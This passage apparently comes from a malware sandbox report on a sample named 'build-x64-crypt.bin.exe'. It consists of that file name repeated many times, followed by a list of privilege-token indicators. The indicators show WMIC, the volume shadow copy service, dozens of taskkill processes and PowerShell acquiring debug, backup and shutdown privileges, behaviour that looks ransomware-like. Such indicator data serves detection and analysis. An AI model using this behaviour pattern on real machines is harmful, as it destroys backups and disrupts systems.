build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe -
Suspicious use of AdjustPrivilegeToken 135 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3820 WMIC.exe Token: SeSecurityPrivilege 3820 WMIC.exe Token: SeTakeOwnershipPrivilege 3820 WMIC.exe Token: SeLoadDriverPrivilege 3820 WMIC.exe Token: SeSystemProfilePrivilege 3820 WMIC.exe Token: SeSystemtimePrivilege 3820 WMIC.exe Token: SeProfSingleProcessPrivilege 3820 WMIC.exe Token: SeIncBasePriorityPrivilege 3820 WMIC.exe Token: SeCreatePagefilePrivilege 3820 WMIC.exe Token: SeBackupPrivilege 3820 WMIC.exe Token: SeRestorePrivilege 3820 WMIC.exe Token: SeShutdownPrivilege 3820 WMIC.exe Token: SeDebugPrivilege 3820 WMIC.exe Token: SeSystemEnvironmentPrivilege 3820 WMIC.exe Token: SeRemoteShutdownPrivilege 3820 WMIC.exe Token: SeUndockPrivilege 3820 WMIC.exe Token: SeManageVolumePrivilege 3820 WMIC.exe Token: 33 3820 WMIC.exe Token: 34 3820 WMIC.exe Token: 35 3820 WMIC.exe Token: 36 3820 WMIC.exe Token: SeIncreaseQuotaPrivilege 3820 WMIC.exe Token: SeSecurityPrivilege 3820 WMIC.exe Token: SeTakeOwnershipPrivilege 3820 WMIC.exe Token: SeLoadDriverPrivilege 3820 WMIC.exe Token: SeSystemProfilePrivilege 3820 WMIC.exe Token: SeSystemtimePrivilege 3820 WMIC.exe Token: SeProfSingleProcessPrivilege 3820 WMIC.exe Token: SeIncBasePriorityPrivilege 3820 WMIC.exe Token: SeCreatePagefilePrivilege 3820 WMIC.exe Token: SeBackupPrivilege 3820 WMIC.exe Token: SeRestorePrivilege 3820 WMIC.exe Token: SeShutdownPrivilege 3820 WMIC.exe Token: SeDebugPrivilege 3820 WMIC.exe Token: SeSystemEnvironmentPrivilege 3820 WMIC.exe Token: SeRemoteShutdownPrivilege 3820 WMIC.exe Token: SeUndockPrivilege 3820 WMIC.exe Token: SeManageVolumePrivilege 3820 WMIC.exe Token: 33 3820 WMIC.exe Token: 34 3820 WMIC.exe Token: 35 3820 WMIC.exe Token: 36 3820 WMIC.exe Token: SeBackupPrivilege 3988 vssvc.exe Token: SeRestorePrivilege 3988 vssvc.exe Token: SeAuditPrivilege 3988 vssvc.exe Token: SeDebugPrivilege 676 taskkill.exe Token: SeDebugPrivilege 3112 taskkill.exe Token: SeDebugPrivilege 1684 taskkill.exe Token: SeDebugPrivilege 3892 taskkill.exe Token: SeDebugPrivilege 1972 taskkill.exe Token: SeDebugPrivilege 3660 taskkill.exe Token: SeDebugPrivilege 676 taskkill.exe Token: SeDebugPrivilege 3112 taskkill.exe Token: SeDebugPrivilege 1964 taskkill.exe Token: SeDebugPrivilege 1932 taskkill.exe Token: SeDebugPrivilege 280 taskkill.exe Token: SeDebugPrivilege 980 taskkill.exe Token: SeDebugPrivilege 3140 taskkill.exe Token: SeDebugPrivilege 3420 taskkill.exe Token: SeDebugPrivilege 3584 taskkill.exe Token: SeDebugPrivilege 1684 taskkill.exe Token: SeDebugPrivilege 3720 taskkill.exe Token: SeDebugPrivilege 1264 taskkill.exe Token: SeDebugPrivilege 840 taskkill.exe Token: SeDebugPrivilege 3800 taskkill.exe Token: SeDebugPrivilege 3140 taskkill.exe Token: SeDebugPrivilege 3108 taskkill.exe Token: SeDebugPrivilege 1652 taskkill.exe Token: SeDebugPrivilege 2856 taskkill.exe Token: SeDebugPrivilege 3064 taskkill.exe Token: SeDebugPrivilege 3720 taskkill.exe Token: SeDebugPrivilege 1264 taskkill.exe Token: SeDebugPrivilege 840 taskkill.exe Token: SeDebugPrivilege 260 taskkill.exe Token: SeDebugPrivilege 2412 taskkill.exe Token: SeDebugPrivilege 3812 taskkill.exe Token: SeDebugPrivilege 2184 taskkill.exe Token: SeDebugPrivilege 3832 taskkill.exe Token: SeDebugPrivilege 1260 taskkill.exe Token: SeDebugPrivilege 1384 taskkill.exe Token: SeDebugPrivilege 1380 taskkill.exe Token: SeDebugPrivilege 3844 taskkill.exe Token: SeDebugPrivilege 3824 taskkill.exe Token: SeDebugPrivilege 2536 taskkill.exe Token: SeDebugPrivilege 3584 taskkill.exe Token: SeDebugPrivilege 3012 taskkill.exe Token: SeDebugPrivilege 2164 taskkill.exe Token: SeDebugPrivilege 3832 taskkill.exe Token: SeDebugPrivilege 568 taskkill.exe Token: SeDebugPrivilege 488 taskkill.exe Token: SeDebugPrivilege 1316 taskkill.exe Token: SeDebugPrivilege 3808 taskkill.exe Token: SeDebugPrivilege 640 taskkill.exe Token: SeDebugPrivilege 3436 taskkill.exe Token: SeDebugPrivilege 1524 taskkill.exe Token: SeDebugPrivilege 2876 taskkill.exe Token: SeDebugPrivilege 2236 taskkill.exe Token: SeDebugPrivilege 1128 taskkill.exe Token: SeDebugPrivilege 2984 taskkill.exe Token: SeDebugPrivilege 3720 taskkill.exe Token: SeDebugPrivilege 3712 taskkill.exe Token: SeDebugPrivilege 2528 taskkill.exe Token: SeDebugPrivilege 3800 taskkill.exe Token: SeDebugPrivilege 3844 taskkill.exe Token: SeDebugPrivilege 3848 taskkill.exe Token: SeDebugPrivilege 1712 taskkill.exe Token: SeDebugPrivilege 3112 taskkill.exe Token: SeDebugPrivilege 1100 taskkill.exe Token: SeDebugPrivilege 1560 taskkill.exe Token: SeDebugPrivilege 1900 taskkill.exe Token: SeDebugPrivilege 3720 taskkill.exe Token: SeDebugPrivilege 3712 taskkill.exe Token: SeDebugPrivilege 2528 taskkill.exe Token: SeDebugPrivilege 3800 taskkill.exe Token: SeDebugPrivilege 3844 taskkill.exe Token: SeDebugPrivilege 3848 taskkill.exe Token: SeDebugPrivilege 3444 taskkill.exe Token: SeDebugPrivilege 2184 taskkill.exe Token: SeDebugPrivilege 3368 taskkill.exe Token: SeDebugPrivilege 1732 taskkill.exe Token: SeDebugPrivilege 3600 taskkill.exe Token: SeDebugPrivilege 568 taskkill.exe Token: SeDebugPrivilege 488 taskkill.exe Token: SeDebugPrivilege 1316 taskkill.exe Token: SeDebugPrivilege 3808 taskkill.exe Token: SeDebugPrivilege 640 taskkill.exe Token: SeDebugPrivilege 3436 taskkill.exe Token: SeDebugPrivilege 2152 taskkill.exe Token: SeDebugPrivilege 3232 taskkill.exe Token: SeDebugPrivilege 2856 taskkill.exe Token: SeDebugPrivilege 2160 taskkill.exe Token: SeDebugPrivilege 3076 taskkill.exe Token: SeDebugPrivilege 3464 taskkill.exe Token: SeDebugPrivilege 948 powershell.exe 